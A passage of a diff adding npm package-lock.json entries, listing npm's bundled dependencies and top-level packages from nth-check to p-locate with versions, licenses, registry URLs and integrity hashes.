+ "dependencies": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/string-width": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/nopt": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/normalize-package-data": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-audit-report": { + "version": "2.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chalk": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-bundled": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-normalize-package-bin": "^1.0.1" + } + }, + "node_modules/npm/node_modules/npm-install-checks": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "semver": "^7.1.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-normalize-package-bin": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-package-arg": { + "version": "8.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "hosted-git-info": "^4.0.1", + "semver": "^7.3.4", + "validate-npm-package-name": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-packlist": { + "version": "2.2.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.6", + "ignore-walk": "^3.0.3", + "npm-bundled": "^1.1.1", + "npm-normalize-package-bin": "^1.0.1" + }, + "bin": { + "npm-packlist": "bin/index.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-pick-manifest": { + "version": "6.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-install-checks": "^4.0.0", + "npm-normalize-package-bin": "^1.0.1", + "npm-package-arg": "^8.1.2", + "semver": "^7.3.4" + } + }, + "node_modules/npm/node_modules/npm-profile": { + "version": "5.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-registry-fetch": { + "version": "11.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "make-fetch-happen": "^9.0.1", + "minipass": "^3.1.3", + "minipass-fetch": "^1.3.0", + "minipass-json-stream": "^1.0.1", + "minizlib": "^2.0.0", + "npm-package-arg": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-user-validate": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/npmlog": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "are-we-there-yet": "^2.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^3.0.0", + "set-blocking": "^2.0.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/are-we-there-yet": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/number-is-nan": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/oauth-sign": { + "version": "0.9.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/object-assign": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/once": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/opener": { + "version": "1.5.2", + "dev": true, + "inBundle": true, + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/npm/node_modules/p-map": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/pacote": { + "version": "11.3.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/git": "^2.1.0", + "@npmcli/installed-package-contents": "^1.0.6", + "@npmcli/promise-spawn": "^1.2.0", + "@npmcli/run-script": "^1.8.2", + "cacache": "^15.0.5", + "chownr": "^2.0.0", + "fs-minipass": "^2.1.0", + "infer-owner": "^1.0.4", + "minipass": "^3.1.3", + "mkdirp": "^1.0.3", + "npm-package-arg": "^8.0.1", + "npm-packlist": "^2.1.4", + "npm-pick-manifest": "^6.0.0", + "npm-registry-fetch": "^11.0.0", + "promise-retry": "^2.0.1", + "read-package-json-fast": "^2.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.1.0" + }, + "bin": { + "pacote": "lib/bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/parse-conflict-json": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.0", + "just-diff": "^3.0.1", + "just-diff-apply": "^3.0.0" + } + }, + "node_modules/npm/node_modules/path-is-absolute": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/performance-now": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/proc-log": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/promise-all-reject-late": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/promise-call-limit": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/promise-inflight": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/promise-retry": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/promzard": { + "version": "0.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "read": "1" + } + }, + "node_modules/npm/node_modules/psl": { + "version": "1.8.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/punycode": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/qrcode-terminal": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "bin": { + "qrcode-terminal": "bin/qrcode-terminal.js" + } + }, + "node_modules/npm/node_modules/qs": { + "version": "6.5.2", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/npm/node_modules/read": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/read-cmd-shim": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/read-package-json": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.1", + "json-parse-even-better-errors": "^2.3.0", + "normalize-package-data": "^3.0.0", + "npm-normalize-package-bin": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/read-package-json-fast": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.0", + "npm-normalize-package-bin": "^1.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/readable-stream": { + "version": "3.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/readdir-scoped-modules": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" + } + }, + "node_modules/npm/node_modules/request": { + "version": "2.88.2", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/request/node_modules/form-data": { + "version": "2.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/npm/node_modules/request/node_modules/tough-cookie": { + "version": "2.5.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/retry": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/rimraf": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/safe-buffer": { + "version": "5.2.1", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/safer-buffer": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/semver": { + "version": "7.3.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/set-blocking": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/signal-exit": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/smart-buffer": { + "version": "4.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks": { + "version": "2.6.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ip": "^1.1.5", + "smart-buffer": "^4.1.0" + }, + "engines": { + "node": ">= 10.13.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks-proxy-agent": { + "version": "6.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.1", + "socks": "^2.6.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/spdx-correct": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/npm/node_modules/spdx-exceptions": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "CC-BY-3.0" + }, + "node_modules/npm/node_modules/spdx-expression-parse": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/npm/node_modules/spdx-license-ids": { + "version": "3.0.10", + "dev": true, + "inBundle": true, + "license": "CC0-1.0" + }, + "node_modules/npm/node_modules/sshpk": { + "version": "1.16.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ssri": { + "version": "8.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/string_decoder": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/npm/node_modules/string-width": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/ansi-regex": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/strip-ansi": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/stringify-package": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/strip-ansi": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/supports-color": { + "version": "7.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/tar": { + "version": "6.1.11", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^3.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/text-table": { + "version": "0.2.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/tiny-relative-date": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/treeverse": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/tunnel-agent": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/tweetnacl": { + "version": "0.14.5", + "dev": true, + "inBundle": true, + "license": "Unlicense" + }, + "node_modules/npm/node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/npm/node_modules/unique-filename": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/npm/node_modules/unique-slug": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/npm/node_modules/uri-js": { + "version": "4.4.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/npm/node_modules/util-deprecate": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/uuid": { + "version": "3.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/npm/node_modules/validate-npm-package-name": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "builtins": "^1.0.3" + } + }, + "node_modules/npm/node_modules/verror": { + "version": "1.10.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/npm/node_modules/walk-up-path": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/wcwidth": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/npm/node_modules/which": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/wide-align": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^1.0.2 || 2" + } + }, + "node_modules/npm/node_modules/wrappy": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/write-file-atomic": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/npm/node_modules/yallist": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/nth-check": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", + "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/null-loader": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", + "integrity": "sha1-F76av80/8OFRL2/Er8sfUDk3j64=", + "dev": true + }, + "node_modules/num2fraction": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", + "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", + "dev": true + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz", + "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", + "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", + "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.hasown": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz", + "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", + "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "dev": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.0.tgz", + "integrity": "sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/open": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/open/-/open-8.3.0.tgz", + "integrity": "sha512-7INcPWb1UcOwSQxAXTnBJ+FxVV4MPs/X++FWWBtgY69/J5lc+tCteMt/oFK1MnkyHC4VILLa9ntmwKTwDR4Q9w==", + "dev": true, + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-event": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", + "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==", + "dev": true, + "dependencies": { + "p-timeout": "^3.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": 